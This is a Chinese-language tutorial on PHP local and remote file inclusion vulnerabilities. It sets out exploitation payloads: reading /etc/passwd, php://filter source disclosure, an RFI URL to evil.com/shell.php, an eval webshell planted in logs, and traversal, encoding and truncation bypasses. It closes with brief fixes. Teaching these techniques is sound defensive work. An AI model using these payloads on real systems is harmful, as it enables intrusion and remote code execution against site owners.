网络安全之文件包含漏洞总结
介绍
文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码;简单来说就是一个文件里面包含另外一个或多个文件。
但我们除了包含常规的代码文件外,包含的任意后缀文件都会被当作代码执行,因此,如果有允许用户控制包含文件路径的点,那么则很有可能包含非预期文件,从而执行非预期的代码导致 getshell。
几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多,在 JSP、ASP 中十分少甚至没有,问题在于语言设计的弊端。因此后续均以 PHP 为主。
文件包含漏洞分类
PHP 中的文件包含分为本地文件包含和远程文件包含。
LFI
本地文件包含 Local File Include (LFI)
所包含文件内容符合 PHP 语法规范,任何扩展名都可以被 PHP 解析。
所包含文件内容不符合 PHP 语法规范,会暴露其源代码(相当于文件读取)。
RFI
远程文件包含 Remote File Include (RFI)
如果要使用远程包含功能,首先需要确定 PHP 是否已经开启远程包含功能选项(php 默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在 php.ini 配置文件中修改。
远程包含与本地包含没有区别,无非是支持远程加载,更容易 getshell,无论是哪种扩展名,只要遵循 PHP 语法规范,PHP 解析器就会对其解析。
PHP 的文件包含函数
PHP 中提供了四个文件包含的函数,分别是 include()、include_once()、require()和 require_once()。这四个函数都可以进行文件包含,但作用并不一样。
include:找不到被包含的文件时只会产生警告,脚本将继续执行。
include_once:和 include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require:找不到被包含的文件时会产生致命错误,并停止脚本。
require_once:和 require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
漏洞示例代码
快速启动一个简单的解析 php 的 web server
php -S 127.0.0.1:9999
测试:
http://127.0.0.1:9999/index.php?file=/etc/passwd
【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记
利用任意文件读取
如果内容不符合 php 语法,就会直接返回文件内容,也就等于读取任意文件,和任意文件读取/下载一样,就不细说了
使用 PHP 封装协议
PHP 带有很多内置 URL 风格的封装协议
php://filter
正常情况下,包含 php 文件会直接执行其中的代码,但如果我们想获取到 php 文件的源码,如 config.php,那么我们可以通过封装协议php://filter
来读取
http://127.0.0.1:9999/index.php?file=php://filter/read=convert.base64-encode/resource=shell.png
php://input
**利用条件:**需要开启 allow_url_include=on,对 allow_url_fopen 不做要求
RFI getshell
如果支持远程文件包含,那么直接http://127.0.0.1:9999/index.php?file=http://evil.com/shell.php
即可 getshell,因为出现的情况实在是太少了,就不多说了。
LFI+文件上传 getshell
这是本地文件包含漏洞想要 getshell 的最容易想到的方法之一。
网站存在 LFI 漏洞,同时存在上传功能,如上传头像、证明信息等,那么我们可以上传一个包含恶意代码的任意后缀文件,如.png
其中.png 的内容包含
利用如下:
http://127.0.0.1:9999/index.php?file=shell.png&shell=phpinfo();
[!tip]
可能上传的文件中干扰因素过多,导致利用的展示界面很乱,那么我们可以通过 file_put_contents()等函数单独再写一个 webshell 到其他文件中。
LFI+日志文件 getshell
日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的 php 代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。
举例:
URL 访问
http://127.0.0.1:9999/index.php?file=shell.png&test=<?php @eval($_GET['shell']);?>
payload 会被记录到日志文件中,此时日志文件如下
我们只需要包含这个日志文件,那么就可以 getshell
日志默认路径:
可能会有所出入,一切以实际情况为准
LFI+/proc/self/environgetshell
在 linux 中,如果 php 以 cgi 方式运行,那么/proc/self/environ 中会包含请求头中的 UA 信息,也就可以 getshell
LFI+phpinfo getshell
除了需要存在一个 LFI 漏洞外,还需要存在一个 phpinfo()页面
原理:向 phpinfo()页面 POST 上传一个文件,PHP 就会将文件保存成一个临时文件,路径通常为:/tmp/php[6 个随机字符],这个临时文件,在请求结束后就会被删除。有点类似于条件竞争的操作。
利用时需要修改工具中的参数和目标参数适配
LFI+session getshell
很鸡肋很鸡肋,要求你能控制 session 才行,一般我们可以先看下 session 中的内容哪些部分是可控的
php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。
常见的 php-session 存放位置:
如果可以控制 session 的内容,那么相当于可以控制文件/var/lib/php/sessions 的内容,结合前面的操作就可以直接 getshell 了
绕过指定前缀
漏洞代码:
绕过方法:
通过../回溯符跳转到其他目录,如../../../proc/self/environ
还是通过回溯符../,主要是对内容进行编码
URL 编码
2 次 URL 编码
容器/服务器支持的编码,..%c0%af== ../,..%c1%9c == ..\
指定后缀
漏洞代码:
绕过方法:
支持 RFI 的情况下,可以用?和 #来绕过,?后面表示参数,#后面表示锚点,都不会影响到实际的 URL
利用伪协议 zip://和 phar://,以 zip 为例,先创建一个压缩包,压缩目录为test/test/test.php
,然后利用为zip://xxx.zip#test
即可
php < 5.2.8 的情况下,可以使用长度截断,只需要不断的重复./即可,linux 下 4096 字节时会达到最大值,在 window 下是 256 字节,在达到最大值后,后面的部分将会被省略。如 shell.php/./././././省略/./././
;注意不能超过容器支持的最大长度,不然会提示 GET 请求太长。
php < 5.3.4 且magic_quotes_gpc=off
的情况下,存在 00 截断,和上传中的 00 截断类似,让后端误以为这是结束符
修复建议
过滤.(点)/(反斜杠)\(反斜杠)等特殊字符
尽量关闭allow_url_include
配置
PHP 中使用 open_basedir 配置限制访问在指定的区域
对需要包含的文件设置文件白名单
评论